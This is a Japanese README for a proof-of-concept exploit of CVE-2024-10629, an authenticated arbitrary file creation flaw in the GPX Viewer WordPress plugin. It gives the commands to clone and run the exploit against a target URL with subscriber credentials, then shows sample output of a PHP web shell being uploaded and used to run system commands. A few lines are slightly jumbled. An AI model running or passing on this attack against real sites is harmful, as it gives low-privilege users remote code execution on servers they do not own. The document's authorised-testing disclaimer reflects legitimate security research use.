
GPX Viewer <= 2.2.8 - 認証済み(購読者以上)任意ファイル作成
このリポジトリには、任意のファイル作成に対して脆弱な WordPress 用 GPX Viewer プラグインの概念実証エクスプロイトが含まれています (CVE-2024-10629)。この脆弱性により、購読者レベル以上のアクセス権を持つ認証済み攻撃者が、影響を受けるサイトのサーバー上に任意のファイルを作成でき、リモートコード実行につながる可能性があります。
WordPress 用 GPX Viewer プラグインは、2.2.8 を含むすべてのバージョンにおいて、gpxv_file_upload() 関数の機能チェックとファイルタイプ検証の欠如により、任意のファイル作成に対して脆弱です。これにより、購読者レベル以上のアクセス権を持つ認証済み攻撃者が、影響を受けるサイトのサーバー上に任意のファイルを作成でき、リモートコード実行が可能になる可能性があります。
requests ライブラリリポジトリをクローンします:
git clone https://github.com/Nxploited/CVE-2024-10629/
cd CVE-2024-10629
必要なライブラリをインストールします:
pip install requests
エクスプロイトを実行します:
python exploit.py -u <target_url> -un <username> -p <password>
<target_url>、<username>、<password> を適切な値に置き換えてください。
python CVE-2024-10629.py -u http://example.com/wordpress -un subscriber -p subscriber_password
ls)を実行します。[+] WordPress plugin version: 2.2.8
[+] Vulnerable version detected. Proceeding with exploitation...
[+] Logged in successfully.
[+] Shell uploaded. Checking shell...
[+] Shell uploaded successfully.
[+] Shell URL: http://example.com/wp-content/uploads/gpx/uncategorized/nxploit_exploit.php
[+] Command output:
http://example.com/wp-content/uploads/gpx/uncategorized/nxploit_exploit.php?cmd=ls
index.php
wp-admin
wp-content
wp-includes
...
ls = ファイルを表示uname -a = システム情報を表示このエクスプロイトは、教育目的および許可されたテスト専用です。所有していない、またはテストする明示的な許可を得ていないシステムに対するこのエクスプロイトの不正使用は、違法かつ非倫理的です。このリポジトリの作成者および貢献者は、このエクスプロイトによって引き起こされた誤用や損害について責任を負いません。
著者: Khaled Alenazi (Nxploit)